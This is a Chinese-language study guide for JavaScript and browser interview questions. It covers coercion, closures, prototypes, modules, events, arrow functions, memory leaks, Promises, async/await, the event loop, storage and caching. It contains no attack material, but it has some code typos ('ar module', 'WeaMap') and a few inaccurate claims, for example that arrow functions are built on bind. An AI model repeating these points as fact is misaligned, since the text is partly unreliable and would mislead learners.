当然你也可以重写 Symbol.toPrimitive,该方法在转原始类型时调用优先级最高。

let a = {
  valueOf() {
    return 0
  },
  toString() {
    return '1'
  },
  [Symbol.toPrimitive]() {
    return 2
  }
}
1 + a // => 3

四则运算符

它有以下几个特点:

  • 运算中其中一方为字符串,那么就会把另一方也转换为字符串
  • 如果一方不是字符串或者数字,那么会将它转换为数字或者字符串
1 + '1' // '11'
true + true // 2
4 + [1,2,3] // "41,2,3"
  • 对于第一行代码来说,触发特点一,所以将数字 1 转换为字符串,得到结果 '11'
  • 对于第二行代码来说,触发特点二,所以将 true 转为数字 1
  • 对于第三行代码来说,触发特点二,所以将数组通过 toString转为字符串 1,2,3,得到结果 41,2,3

另外对于加法还需要注意这个表达式 'a' + + 'b'

'a' + + 'b' // -> "aNaN"
  • 因为 + 'b' 等于 NaN,所以结果为 "aNaN",你可能也会在一些代码中看到过 + '1'的形式来快速获取 number 类型。
  • 那么对于除了加法的运算符来说,只要其中一方是数字,那么另一方就会被转为数字
4 * '3' // 12
4 * [] // 0
4 * [1, 2] // NaN

比较运算符

  • 如果是对象,就通过 toPrimitive 转换对象
  • 如果是字符串,就通过 unicode 字符索引来比较
let a = {
  valueOf() {
    return 0
  },
  toString() {
    return '1'
  }
}
a > -1 // true

在以上代码中,因为 a 是对象,所以会通过 valueOf 转换为原始类型再比较值。

# 闭包

闭包的定义其实很简单:函数 A 内部有一个函数 B,函数 B 可以访问到函数 A 中的变量,那么函数 B 就是闭包

function A() {
  let a = 1
  window.B = function () {
      console.log(a)
  }
}
A()
B() // 1

闭包存在的意义就是让我们可以间接访问函数内部的变量

经典面试题,循环中使用闭包解决 var 定义函数的问题

for (var i = 1; i <= 5; i++) {
  setTimeout(function timer() {
    console.log(i)
  }, i * 1000)
}

首先因为 setTimeout 是个异步函数,所以会先把循环全部执行完毕,这时候 i就是 6 了,所以会输出一堆 6

解决办法有三种

  1. 第一种是使用闭包的方式
for (var i = 1; i <= 5; i++) {
  ;(function(j) {
    setTimeout(function timer() {
      console.log(j)
    }, j * 1000)
  })(i)
}

在上述代码中,我们首先使用了立即执行函数将 i 传入函数内部,这个时候值就被固定在了参数 j 上面不会改变,当下次执行 timer 这个闭包的时候,就可以使用外部函数的变量 j,从而达到目的

  1. 第二种就是使用 setTimeout 的第三个参数,这个参数会被当成 timer 函数的参数传入
for (var i = 1; i <= 5; i++) {
  setTimeout(
    function timer(j) {
      console.log(j)
    },
    i * 1000,
    i
  )
}
  1. 第三种就是使用 let 定义 i 了来解决问题了,这个也是最为推荐的方式
for (let i = 1; i <= 5; i++) {
  setTimeout(function timer() {
    console.log(i)
  }, i * 1000)
}

# 原型与原型链

原型关系

  • 每个class都有显示原型prototype
  • 每个实例都有隐式原型__proto__
  • 实例的__proto__指向classprototype

// 父类
class People {
    constructor(name) {
      this.name = name
    }
    eat() {
      console.log(`${this.name} eat something`)
    }
}

// 子类
class Student extends People {
  constructor(name, number) {
    super(name)
    this.number = number
  }
  sayHi() {
    console.log(`姓名 ${this.name} 学号 ${this.number}`)
  }
}

// 实例
const xialuo = new Student('夏洛', 100)
console.log(xialuo.name)
console.log(xialuo.number)
xialuo.sayHi()
xialuo.eat()

基于原型的执行规则

获取属性xialuo.name或执行方法xialuo.sayhi时,先在自身属性和方法查找,找不到就去__proto__中找

原型链

People.prototype === Student.prototype.__proto__

# 原型继承和 Class 继承

涉及面试题:原型如何实现继承?Class 如何实现继承?Class 本质是什么?

首先先来讲下 class,其实在 JS中并不存在类,class 只是语法糖,本质还是函数

class Person {}
Person instanceof Function // true

组合继承

组合继承是最常用的继承方式

function Parent(value) {
  this.val = value
}
Parent.prototype.getValue = function() {
  console.log(this.val)
}
function Child(value) {
  Parent.call(this, value)
}
Child.prototype = new Parent()

const child = new Child(1)

child.getValue() // 1
child instanceof Parent // true
  • 以上继承的方式核心是在子类的构造函数中通过 Parent.call(this) 继承父类的属性,然后改变子类的原型为 new Parent() 来继承父类的函数。
  • 这种继承方式优点在于构造函数可以传参,不会与父类引用属性共享,可以复用父类的函数,但是也存在一个缺点就是在继承父类函数的时候调用了父类构造函数,导致子类的原型上多了不需要的父类属性,存在内存上的浪费

寄生组合继承

这种继承方式对组合继承进行了优化,组合继承缺点在于继承父类函数时调用了构造函数,我们只需要优化掉这点就行了

function Parent(value) {
  this.val = value
}
Parent.prototype.getValue = function() {
  console.log(this.val)
}

function Child(value) {
  Parent.call(this, value)
}
Child.prototype = Object.create(Parent.prototype, {
  constructor: {
    value: Child,
    enumerable: false,
    writable: true,
    configurable: true
  }
})

const child = new Child(1)

child.getValue() // 1
child instanceof Parent // true

以上继承实现的核心就是将父类的原型赋值给了子类,并且将构造函数设置为子类,这样既解决了无用的父类属性问题,还能正确的找到子类的构造函数。

Class 继承

以上两种继承方式都是通过原型去解决的,在 ES6 中,我们可以使用 class 去实现继承,并且实现起来很简单

class Parent {
  constructor(value) {
    this.val = value
  }
  getValue() {
    console.log(this.val)
  }
}
class Child extends Parent {
  constructor(value) {
    super(value)
    this.val = value
  }
}
let child = new Child(1)
child.getValue() // 1
child instanceof Parent // true

class 实现继承的核心在于使用 extends 表明继承自哪个父类,并且在子类构造函数中必须调用 super,因为这段代码可以看成 Parent.call(this, value)

# 模块化

模块化

涉及面试题:为什么要使用模块化?都有哪几种方式可以实现模块化,各有什么特点?

使用一个技术肯定是有原因的,那么使用模块化可以给我们带来以下好处

  • 解决命名冲突
  • 提供复用性
  • 提高代码可维护性

立即执行函数

在早期,使用立即执行函数实现模块化是常见的手段,通过函数作用域解决了命名冲突、污染全局作用域的问题

(function(globalVariable){
   globalVariable.test = function() {}
   // ... 声明各种变量、函数都不会污染全局作用域
})(globalVariable)

AMD 和 CMD

鉴于目前这两种实现方式已经很少见到,所以不再对具体特性细聊,只需要了解这两者是如何使用的。

// AMD
define(['./a', './b'], function(a, b) {
  // 加载模块完毕可以使用
  a.do()
  b.do()
})
// CMD
define(function(require, exports, module) {
  // 加载模块
  // 可以把 require 写在函数体的任意地方实现延迟加载
  var a = require('./a')
  a.doSomething()
})

CommonJS

CommonJS 最早是 Node 在使用,目前也仍然广泛使用,比如在 Webpack 中你就能见到它,当然目前在 Node 中的模块管理已经和 CommonJS有一些区别了

// a.js
module.exports = {
    a: 1
}
// or
exports.a = 1

// b.js
var module = require('./a.js')
module.a // -> log 1
ar module = require('./a.js')
module.a
// 这里其实就是包装了一层立即执行函数,这样就不会污染全局变量了,
// 重要的是 module 这里,module 是 Node 独有的一个变量
module.exports = {
    a: 1
}
// module 基本实现
var module = {
  id: 'xxxx', // 我总得知道怎么去找到他吧
  exports: {} // exports 就是个空对象
}
// 这个是为什么 exports 和 module.exports 用法相似的原因
var exports = module.exports
var load = function (module) {
    // 导出的东西
    var a = 1
    module.exports = a
    return module.exports
};
// 然后当我 require 的时候去找到独特的
// id,然后将要使用的东西用立即执行函数包装下,over

另外虽然 exportsmodule.exports 用法相似,但是不能对 exports 直接赋值。因为 var exports = module.exports 这句代码表明了 exportsmodule.exports享有相同地址,通过改变对象的属性值会对两者都起效,但是如果直接对 exports 赋值就会导致两者不再指向同一个内存地址,修改并不会对 module.exports 起效

ES Module

ES Module 是原生实现的模块化方案,与 CommonJS 有以下几个区别

  1. CommonJS 支持动态导入,也就是 require(${path}/xx.js),后者目前不支持,但是已有提案
  2. CommonJS 是同步导入,因为用于服务端,文件都在本地,同步导入即使卡住主线程影响也不大。而后者是异步导入,因为用于浏览器,需要下载文件,如果也采用同步导入会对渲染有很大影响
  3. CommonJS 在导出时都是值拷贝,就算导出的值变了,导入的值也不会改变,所以如果想更新值,必须重新导入一次。但是 ES Module 采用实时绑定的方式,导入导出的值都指向同一个内存地址,所以导入值会跟随导出值变化
  4. ES Module 会编译成 require/exports来执行的
// 引入模块 API
import XXX from './a.js'
import { XXX } from './a.js'
// 导出模块 API
export function a() {}
export default function() {}

# 事件机制

涉及面试题:事件的触发过程是怎么样的?知道什么是事件代理嘛?

1. 事件触发三阶段

事件触发有三个阶段

  • window往事件触发处传播,遇到注册的捕获事件会触发
  • 传播到事件触发处时触发注册的事件
  • 从事件触发处往 window 传播,遇到注册的冒泡事件会触发

事件触发一般来说会按照上面的顺序进行,但是也有特例,如果给一个 body 中的子节点同时注册冒泡和捕获事件,事件触发会按照注册的顺序执行

// 以下会先打印冒泡然后是捕获
node.addEventListener(
  'click',
  event => {
    console.log('冒泡')
  },
  false
)
node.addEventListener(
  'click',
  event => {
    console.log('捕获 ')
  },
  true
)

2. 注册事件

通常我们使用 addEventListener 注册事件,该函数的第三个参数可以是布尔值,也可以是对象。对于布尔值 useCapture 参数来说,该参数默认值为 falseuseCapture 决定了注册的事件是捕获事件还是冒泡事件。对于对象参数来说,可以使用以下几个属性

  • capture:布尔值,和 useCapture 作用一样
  • once:布尔值,值为 true 表示该回调只会调用一次,调用后会移除监听
  • passive:布尔值,表示永远不会调用 preventDefault

一般来说,如果我们只希望事件只触发在目标上,这时候可以使用 stopPropagation来阻止事件的进一步传播。通常我们认为 stopPropagation 是用来阻止事件冒泡的,其实该函数也可以阻止捕获事件。stopImmediatePropagation 同样也能实现阻止事件,但是还能阻止该事件目标执行别的注册事件。

node.addEventListener(
  'click',
  event => {
    event.stopImmediatePropagation()
    console.log('冒泡')
  },
  false
)
// 点击 node 只会执行上面的函数,该函数不会执行
node.addEventListener(
  'click',
  event => {
    console.log('捕获 ')
  },
  true
)

3. 事件代理

如果一个节点中的子节点是动态生成的,那么子节点需要注册事件的话应该注册在父节点上

<ul id="ul">
	<li>1</li>
    <li>2</li>
	<li>3</li>
	<li>4</li>
	<li>5</li>
</ul>
<script>
	let ul = document.querySelector('#ul')
	ul.addEventListener('click', (event) => {
		console.log(event.target);
	})
</script>

事件代理的方式相较于直接给目标注册事件来说,有以下优点

  • 节省内存
  • 不需要给子节点注销事件

# 箭头函数

  • 箭头函数不绑定 arguments,可以使用 ...args 代替
  • 箭头函数没有 prototype 属性,不能进行 new 实例化
  • 箭头函数不能通过 callapply 等绑定 this,因为箭头函数底层是使用bind永久绑定this了,bind绑定过的this不能修改
  • 箭头函数的this指向创建时父级的this
  • 箭头函数不能使用yield关键字,不能作为Generator函数
const fn1 = () => {
  // 箭头函数中没有arguments
  console.log('arguments', arguments)
}
fn1(100, 300)

const fn2 = () => {
  // 这里的this指向window,箭头函数的this指向创建时父级的this
  console.log('this', this)
}
// 箭头函数不能修改this
fn2.call({x: 100})

const obj = {
  name: 'poetry',
  getName2() {
    // 这里的this指向obj
    return () => {
      // 这里的this指向obj
      return this.name
    }
  },
  getName: () => { // 1、不适用箭头函数的场景1:对象方法
    // 这里不能使用箭头函数,否则箭头函数指向window
    return this.name
  }
}

obj.prototype.getName3 = () => { // 2、不适用箭头函数的场景2:对象原型
  // 这里不能使用箭头函数,否则this指向window
  return this.name
}

const Foo = (name) => { // 3、不适用箭头函数的场景3:构造函数
  this.name = name
}
const f = new Foo('poetry') // 箭头函数没有 prototype 属性,不能进行 new 实例化

const btn1 = document.getElementById('btn1')
btn1.addEventListener('click',()=>{ // 4、不适用箭头函数的场景4:动态上下文的回调函数
  // 这里不能使用箭头函数 this === window
  this.innerHTML = 'click'
})

// Vue 组件本质上是一个 JS 对象,this需要指向组件实例
// vue的生命周期和method不能使用箭头函数
new Vue({
  data:{name:'poetry'},
  methods: { // 5、不适用箭头函数的场景5:vue的生命周期和method
    getName: () => {
      // 这里不能使用箭头函数,否则this指向window
      return this.name
    }
  },
  mounted:() => {
    // 这里不能使用箭头函数,否则this指向window
    this.getName()
  }
})

// React 组件(非 Hooks)它本质上是一个 ES6 class
class Foo {
  constructor(name) {
    this.name = name
  }
  getName = () => { // 这里的箭头函数this指向实例本身没有问题的
    return this.name
  }
}
const f = new Foo('poetry') 
console.log(f.getName() )

总结:不适用箭头函数的场景

  • 场景1:对象方法
  • 场景2:对象原型
  • 场景3:构造函数
  • 场景4:动态上下文的回调函数
  • 场景5:vue的生命周期和method

# JS内存泄露如何检测?场景有哪些?

内存泄漏:当一个对象不再被使用,但是由于某种原因,它的内存没有被释放,这就是内存泄漏。

1. 垃圾回收机制

  • 对于在JavaScript中的字符串,对象,数组是没有固定大小的,只有当对他们进行动态分配存储时,解释器就会分配内存来存储这些数据,当JavaScript的解释器消耗完系统中所有可用的内存时,就会造成系统崩溃。
  • 内存泄漏,在某些情况下,不再使用到的变量所占用内存没有及时释放,导致程序运行中,内存越占越大,极端情况下可以导致系统崩溃,服务器宕机。
  • JavaScript有自己的一套垃圾回收机制,JavaScript的解释器可以检测到什么时候程序不再使用这个对象了(数据),就会把它所占用的内存释放掉。
  • 针对JavaScript的垃圾回收机制有以下两种方法(常用):标记清除(现代),引用计数(之前)

有两种垃圾回收策略:

  • 标记清除:标记阶段即为所有活动对象做上标记,清除阶段则把没有标记(也就是非活动对象)销毁。
  • 引用计数:它把对象是否不再需要简化定义为对象有没有其他对象引用到它。如果没有引用指向该对象(引用计数为 0),对象将被垃圾回收机制回收

标记清除的缺点:

  • 内存碎片化,空闲内存块是不连续的,容易出现很多空闲内存块,还可能会出现分配所需内存过大的对象时找不到合适的块。
  • 分配速度慢,因为即便是使用 First-fit 策略,其操作仍是一个 O(n) 的操作,最坏情况是每次都要遍历到最后,同时因为碎片化,大对象的分配效率会更慢。

解决以上的缺点可以使用 标记整理(Mark-Compact)算法 标记结束后,标记整理算法会将活着的对象(即不需要清理的对象)向内存的一端移动,最后清理掉边界的内存(如下图)

引用计数的缺点:

  • 需要一个计数器,所占内存空间大,因为我们也不知道被引用数量的上限。
  • 解决不了循环引用导致的无法回收问题
    • IE 6、7JS对象和DOM对象循环引用,清除不了,导致内存泄露

V8 的垃圾回收机制也是基于标记清除算法,不过对其做了一些优化。

  • 针对新生区采用并行回收。
  • 针对老生区采用增量标记与惰性回收

注意闭包不是内存泄露,闭包的数据是不可以被回收的

拓展:WeakMap、WeakMap的作用

  • 作用是防止内存泄露的
  • WeakMapWeakMap的应用场景
    • 想临时记录数据或关系
    • vue3中大量使用了WeakMap
  • WeakMapkey只能是对象,不能是基本类型

2. 如何检测内存泄露

内存泄露模拟

<p>
  memory change
  <button id="btn1">start</button>
</p>

<script>
    const arr = []
    for (let i = 0; i < 10 * 10000; i++) {
      arr.push(i)
    }

    function bind() {
      // 模拟一个比较大的数据
      const obj = {
        str: JSON.stringify(arr) // 简单的拷贝
      }

      window.addEventListener('resize', () => {
        console.log(obj)
      })
    }

    let n = 0
    function start() {
      setTimeout(() => {
        bind()
        n++

        // 执行 50 次
        if (n < 50) {
          start()
        } else {
          alert('done')
        }
      }, 200)
    }

    document.getElementById('btn1').addEventListener('click', () => {
      start()
    })
</script>

打开开发者工具,选择 Performance,点击 Record,然后点击 Stop,在 Memory 选项卡中可以看到内存的使用情况。

3. 内存泄露的场景(Vue为例)

  • 被全局变量、函数引用,组件销毁时未清除
  • 被全局事件、定时器引用,组件销毁时未清除
  • 被自定义事件引用,组件销毁时未清除
<template>
  <p>Memory Leak Demo</p>
</template>

<script>
export default {
  name: 'Memory Leak Demo',
  data() {
    return {
      arr: [10, 20, 30], // 数组 对象
    }
  },
  methods: {
    printArr() {
      console.log(this.arr)
    }
  },
  mounted() {
    // 全局变量
    window.arr = this.arr
    window.printArr = ()=>{
      console.log(this.arr)
    }

    // 定时器
    this.intervalId = setInterval(() => {
      console.log(this.arr)
    }, 1000)

    // 全局事件
    window.addEventListener('resize', this.printArr)
    // 自定义事件也是这样
  },
  // Vue2是beforeDestroy
  beforeUnmount() {
    // 清除全局变量
    window.arr = null
    window.printArr = null

    // 清除定时器
    clearInterval(this.intervalId)

    // 清除全局事件
    window.removeEventListener('resize', this.printArr)
  },
}
</script>

4. 拓展 WeakMap WeakSet

weakmapweakset 都是弱引用,不会阻止垃圾回收机制回收对象。

const map = new Map() 
function fn1() {
  const obj = { x: 100 }
  map.set('a', obj) // fn1执行完 map还引用着obj
}
fn1()
const wMap = new WeaMap() // 弱引用
function fn1() {
  const obj = { x: 100 }
  // fn1执行完 obj会被清理掉
  wMap.set(obj, 100) // weakMap 的 key 只能是引用类型,字符串数字都不行
}
fn1()

# async/await异步总结

知识点总结

  • promise.then链式调用,但也是基于回调函数
  • async/await是同步语法,彻底消灭回调函数

async/await和promise的关系

  • 执行async函数,返回的是promise
async function fn2() {
  return new Promise(() => {})
}
console.log( fn2() )

async function fn1() {
  return 100
}
console.log( fn1() ) // 相当于 Promise.resolve(100)
  • await相当于promisethen
  • try catch可捕获异常,代替了promisecatch
  • await 后面跟 Promise 对象:会阻断后续代码,等待状态变为 fulfilled ,才获取结果并继续执行
  • await 后续跟非 Promise 对象:会直接返回
(async function () {
  const p1 = new Promise(() => {})
  await p1
  console.log('p1') // 不会执行
})()

(async function () {
  const p2 = Promise.resolve(100)
  const res = await p2
  console.log(res) // 100
})()

(async function () {
  const res = await 100
  console.log(res) // 100
})()

(async function () {
  const p3 = Promise.reject('some err') // rejected状态,不会执行下面的then
  const res = await p3 // await 相当于then
  console.log(res) // 不会执行
})()
  • try...catch 捕获 rejected 状态
(async function () {
    const p4 = Promise.reject('some err')
    try {
      const res = await p4
      console.log(res)
    } catch (ex) {
      console.error(ex)
    }
})()

总结来看:

  • async 封装 Promise
  • await 处理 Promise 成功
  • try...catch 处理 Promise 失败

异步本质

await 是同步写法,但本质还是异步调用。

async function async1 () {
  console.log('async1 start')
  await async2()
  console.log('async1 end') // 关键在这一步,它相当于放在 callback 中,最后执行
  // 类似于Promise.resolve().then(()=>console.log('async1 end'))
}

async function async2 () {
  console.log('async2')
}

console.log('script start')
async1()
console.log('script end')

// 打印
// script start
// async1 start
// async2
// script end
// async1 end
async function async1 () {
  console.log('async1 start') // 2
  await async2()

  // await后面的下面三行都是异步回调callback的内容
  console.log('async1 end') // 5 关键在这一步,它相当于放在 callback 中,最后执行
  // 类似于Promise.resolve().then(()=>console.log('async1 end'))
  await async3()
  
  // await后面的下面1行都是异步回调callback的内容
  console.log('async1 end2') // 7
}

async function async2 () {
  console.log('async2') // 3
}
async function async3 () {
  console.log('async3') // 6
}

console.log('script start') // 1
async1()
console.log('script end') // 4

即,只要遇到了 await ,后面的代码都相当于放在 callback(微任务) 里。

执行顺序问题

网上很经典的面试题

async function async1 () {
  console.log('async1 start')
  await async2() // 这一句会同步执行,返回 Promise ,其中的 `console.log('async2')` 也会同步执行
  console.log('async1 end') // 上面有 await ,下面就变成了“异步”,类似 cakkback 的功能(微任务)
}

async function async2 () {
  console.log('async2')
}

console.log('script start')

setTimeout(function () { // 异步,宏任务
  console.log('setTimeout')
}, 0)

async1()

new Promise (function (resolve) { // 返回 Promise 之后,即同步执行完成,then 是异步代码
  console.log('promise1') // Promise 的函数体会立刻执行
  resolve()
}).then (function () { // 异步,微任务
  console.log('promise2')
})

console.log('script end')

// 同步代码执行完之后,屡一下现有的异步未执行的,按照顺序
// 1. async1 函数中 await 后面的内容 —— 微任务(先注册先执行)
// 2. setTimeout —— 宏任务(先注册先执行)
// 3. then —— 微任务

// 同步代码执行完毕(event loop - call stack被清空)
// 执行微任务
// 尝试DOM渲染
// 触发event loop执行宏任务

// 输出
// script start 
// async1 start  
// async2
// promise1
// script end
// async1 end
// promise2
// setTimeout

关于for...of

  • for in以及forEach都是常规的同步遍历
  • for of用于异步遍历
// 定时算乘法
function multi(num) {
  return new Promise((resolve) => {
    setTimeout(() => {
      resolve(num * num)
    }, 1000)
  })
}

// 使用 forEach ,是 1s 之后打印出所有结果,即 3 个值是一起被计算出来的
function test1 () {
  const nums = [1, 2, 3];
  nums.forEach(async x => {
    const res = await multi(x);
    console.log(res); // 一次性打印
  })
}
test1();

// 使用 for...of ,可以让计算挨个串行执行
async function test2 () {
  const nums = [1, 2, 3];
  for (let x of nums) {
    // 在 for...of 循环体的内部,遇到 await 会挨个串行计算
    const res = await multi(x)
    console.log(res) // 依次打印
  }
}
test2()

# Promise异步总结

知识点总结

  • 三种状态
    • pendingfulfilled(通过resolve触发)、rejected(通过reject触发)
    • pending => fulfilled或者pending => rejected
    • 状态变化不可逆
  • 状态的表现和变化
    • pending状态,不会触发thencatch
    • fulfilled状态会触发后续的then回调
    • rejected状态会触发后续的catch回调
  • then和catch对状态的影响(重要)
    • then正常返回fulfilled,里面有报错返回rejected
    const p1 = Promise.resolve().then(()=>{
      return 100
    })
    console.log('p1', p1) // fulfilled会触发后续then回调
    p1.then(()=>{
      console.log(123)
    }) // 打印123
    
    const p2 = Promise.resolve().then(()=>{
      throw new Error('then error')
    })
    // p2是rejected会触发后续catch回调
    p2.then(()=>{
      console.log(456)
    }).catch(err=>{
      console.log(789)
    })
    // 打印789
    
    • catch正常返回fulfilled,里面有报错返回rejected
    const p1 = Promise.reject('my error').catch(()=>{
      console.log('catch error')
    })
    p1.then(()=>{
      console.log(1)
    })
    // console.log(p1) p1返回fulfilled 触发then回调
    const p2 = Promise.reject('my error').catch(()=>{
      throw new Error('catch error')
    })
    // console.log(p2) p2返回rejected 触发catch回调
    p2.then(()=>{
      console.log(2)
    }).catch(()=>{
      console.log(3)
    })
    

promise then和catch的链接

// 第一题
Promise.resolve()
.then(()=>console.log(1))// 状态返回fulfilled
.catch(()=>console.log(2)) // catch中没有报错,状态返回fulfilled,后面的then会执行
.then(()=>console.log(3)) // 1,3
// 整个执行完没有报错,状态返回fulfilled

// 第二题
Promise.resolve()
.then(()=>{ // then中有报错 状态返回rejected,后面的catch会执行
  console.log(1)
  throw new Error('error')
})
.catch(()=>console.log(2)) // catch中没有报错,状态返回fulfilled,后面的then会执行
.then(()=>console.log(3)) // 1,2,3
// 整个执行完没有报错,状态返回fulfilled

// 第三题
Promise.resolve()
.then(()=>{//then中有报错 状态返回rejected,后面的catch会执行
  console.log(1)
  throw new Error('error')
})
.catch(()=>console.log(2)) // catch中没有报错,状态返回fulfilled,后面的catch不会执行
.catch(()=>console.log(3)) // 1,2
// 整个执行完没有报错,状态返回fulfilled

# Event Loop执行机制过程

  • 同步代码一行行放到Call Stack执行,执行完就出栈
  • 遇到异步优先记录下,等待时机(定时、网络请求)
  • 时机到了就移动到Call Queue(宏任务队列)
    • 如果遇到微任务(如promise.then)放到微任务队列
    • 宏任务队列和微任务队列是分开存放的
      • 因为微任务是ES6语法规定的
      • 宏任务(setTimeout)是浏览器规定的
  • 如果Call Stack为空,即同步代码执行完,Event Loop开始工作
    • Call Stack为空,尝试先DOM渲染,在触发下一次Event Loop
  • 轮询查找Event Loop,如有则移动到Call Stack
  • 然后继续重复以上过程(类似永动机)

DOM事件和Event Loop

DOM事件会放到Web API中等待用户点击,放到Call Queue,在移动到Call Stack执行

  • JS是单线程的,异步(setTimeoutAjax)使用回调,基于Event Loop
  • DOM事件也使用回调,DOM事件非异步,但也是基于Event Loop实现

宏任务和微任务

  • 介绍
    • 宏任务:setTimeoutsetIntervalDOM事件、Ajax
    • 微任务:Promise.thenasync/await
    • 微任务比宏任务执行的更早
    console.log(100)
    setTimeout(() => {
      console.log(200)
    })
    Promise.resolve().then(() => {
      console.log(300)
    })
    console.log(400)
    // 100 400 300 200
    
  • event loop 和 DOM 渲染
    • 每次call stack清空(每次轮询结束),即同步代码执行完。都是DOM重新渲染的机会,DOM结构如有改变重新渲染
    • 再次触发下一次Event Loop
    const $p1 = $('<p>一段文字</p>')
    const $p2 = $('<p>一段文字</p>')
    const $p3 = $('<p>一段文字</p>')
    $('#container')
                .append($p1)
                .append($p2)
                .append($p3)
    
    console.log('length',  $('#container').children().length )
    alert('本次 call stack 结束,DOM 结构已更新,但尚未触发渲染')
    // (alert 会阻断 js 执行,也会阻断 DOM 渲染,便于查看效果)
    // 到此,即本次 call stack 结束后(同步任务都执行完了),浏览器会自动触发渲染,不用代码干预
    
    // 另外,按照 event loop 触发 DOM 渲染时机,setTimeout 时 alert ,就能看到 DOM 渲染后的结果了
    setTimeout(function () {
      alert('setTimeout 是在下一次 Call Stack ,就能看到 DOM 渲染出来的结果了')
    })
    
  • 宏任务和微任务的区别
    • 宏任务:DOM 渲染后再触发,如setTimeout
    • 微任务:DOM 渲染前会触发,如Promise
    // 修改 DOM
    const $p1 = $('<p>一段文字</p>')
    const $p2 = $('<p>一段文字</p>')
    const $p3 = $('<p>一段文字</p>')
    $('#container')
        .append($p1)
        .append($p2)
        .append($p3)
    
    // 微任务:渲染之前执行(DOM 结构已更新,看不到元素还没渲染)
    // Promise.resolve().then(() => {
    //     const length = $('#container').children().length
    //     alert(`micro task ${length}`) // DOM渲染了?No
    // })
    
    // 宏任务:渲染之后执行(DOM 结构已更新,可以看到元素已经渲染)
    setTimeout(() => {
      const length = $('#container').children().length
      alert(`macro task ${length}`) // DOM渲染了?Yes
    })
    

再深入思考一下:为何两者会有以上区别,一个在渲染前,一个在渲染后?

  • 微任务ES 语法标准之内,JS 引擎来统一处理。即,不用浏览器有任何干预,即可一次性处理完,更快更及时。
  • 宏任务ES 语法没有,JS 引擎不处理,浏览器(或 nodejs)干预处理。

# 3 浏览器

# 储存

涉及面试题:有几种方式可以实现存储功能,分别有什么优缺点?什么是 Service Worker

cookie,localStorage,sessionStorage,indexDB

特性 cookie localStorage sessionStorage indexDB
数据生命周期 一般由服务器生成,可以设置过期时间 除非被清理,否则一直存在 页面关闭就清理 除非被清理,否则一直存在
数据存储大小 4KB 5M 5M 无限
与服务端通信 每次都会携带在 header 中,对于请求性能影响 不参与 不参与 不参与

从上表可以看到,cookie 已经不建议用于存储。如果没有大量数据存储需求的话,可以使用 localStoragesessionStorage 。对于不怎么改变的数据尽量使用 localStorage 存储,否则可以用 sessionStorage存储

对于 cookie 来说,我们还需要注意安全性。

属性 作用
value 如果用于保存用户登录态,应该将该值加密,不能使用明文的用户标识
http-only 不能通过 JS 访问 Cookie,减少 XSS 攻击
secure 只能在协议为 HTTPS 的请求中携带
same-site 规定浏览器不能在跨域请求中携带 Cookie,减少 CSRF 攻击

Service Worker

  • Service Worker 是运行在浏览器背后的独立线程,一般可以用来实现缓存功能。使用 Service Worker的话,传输协议必须为 HTTPS。因为 Service Worker 中涉及到请求拦截,所以必须使用 HTTPS 协议来保障安全
  • Service Worker 实现缓存功能一般分为三个步骤:首先需要先注册 Service Worker,然后监听到 install 事件以后就可以缓存需要的文件,那么在下次用户访问的时候就可以通过拦截请求的方式查询是否存在缓存,存在缓存的话就可以直接读取缓存文件,否则就去请求数据。以下是这个步骤的实现:
// index.js
if (navigator.serviceWorker) {
  navigator.serviceWorker
    .register('sw.js')
    .then(function(registration) {
      console.log('service worker 注册成功')
    })
    .catch(function(err) {
      console.log('servcie worker 注册失败')
    })
}
// sw.js
// 监听 `install` 事件,回调中缓存所需文件
self.addEventListener('install', e => {
  e.waitUntil(
    caches.open('my-cache').then(function(cache) {
      return cache.addAll(['./index.html', './index.js'])
    })
  )
})

// 拦截所有请求事件
// 如果缓存中已经有请求的数据就直接用缓存,否则去请求数据
self.addEventListener('fetch', e => {
  e.respondWith(
    caches.match(e.request).then(function(response) {
      if (response) {
        return response
      }
      console.log('fetch source')
    })
  )
})

打开页面,可以在开发者工具中的 Application 看到 Service Worker 已经启动了

Cache 中也可以发现我们所需的文件已被缓存

当我们重新刷新页面可以发现我们缓存的数据是从 Service Worker 中读取的

# 浏览器缓存机制

注意:该知识点属于性能优化领域,并且整一章节都是一个面试题

  • 缓存可以说是性能优化中简单高效的一种优化方式了,它可以显著减少网络传输所带来的损耗。
  • 对于一个数据请求来说,可以分为发起网络请求、后端处理、浏览器响应三个步骤。浏览器缓存可以帮助我们在第一和第三步骤中优化性能。比如说直接使用缓存而不发起请求,或者发起了请求但后端存储的数据和前端一致,那么就没有必要再将数据回传回来,这样就减少了响应数据。

接下来的内容中我们将通过以下几个部分来探讨浏览器缓存机制:

  • 缓存位置
  • 缓存策略
  • 实际场景应用缓存策略

1. 缓存位置

从缓存位置上来说分为四种,并且各自有优先级,当依次查找缓存且都没有命中的时候,才会去请求网络

  1. Service Worker
  2. Memory Cache
  3. Disk Cache
  4. Push Cache
  5. 网络请求

1.1 Service Worker

  • service Worker 的缓存与浏览器其他内建的缓存机制不同,它可以让我们自由控制缓存哪些文件、如何匹配缓存、如何读取缓存,并且缓存是持续性的。
  • Service Worker 没有命中缓存的时候,我们需要去调用 fetch 函数获取数据。也就是说,如果我们没有在 Service Worker 命中缓存的话,会根据缓存查找优先级去查找数据。但是不管我们是从 Memory Cache 中还是从网络请求中获取的数据,浏览器都会显示我们是从 Service Worker 中获取的内容。

1.2 Memory Cache

  • Memory Cache 也就是内存中的缓存,读取内存中的数据肯定比磁盘快。但是内存缓存虽然读取高效,可是缓存持续性很短,会随着进程的释放而释放。 一旦我们关闭 Tab 页面,内存中的缓存也就被释放了。
  • 当我们访问过页面以后,再次刷新页面,可以发现很多数据都来自于内存缓存

那么既然内存缓存这么高效,我们是不是能让数据都存放在内存中呢?

  • 先说结论,这是不可能的。首先计算机中的内存一定比硬盘容量小得多,操作系统需要精打细算内存的使用,所以能让我们使用的内存必然不多。内存中其实可以存储大部分的文件,比如说 JSHTMLCSS、图片等等
  • 当然,我通过一些实践和猜测也得出了一些结论:
  • 对于大文件来说,大概率是不存储在内存中的,反之优先当前系统内存使用率高的话,文件优先存储进硬盘

1.3 Disk Cache

  • Disk Cache 也就是存储在硬盘中的缓存,读取速度慢点,但是什么都能存储到磁盘中,比之 Memory Cache 胜在容量和存储时效性上。
  • 在所有浏览器缓存中,Disk Cache 覆盖面基本是最大的。它会根据 HTTP Herder 中的字段判断哪些资源需要缓存,哪些资源可以不请求直接使用,哪些资源已经过期需要重新请求。并且即使在跨站点的情况下,相同地址的资源一旦被硬盘缓存下来,就不会再次去请求数据

1.4 Push Cache

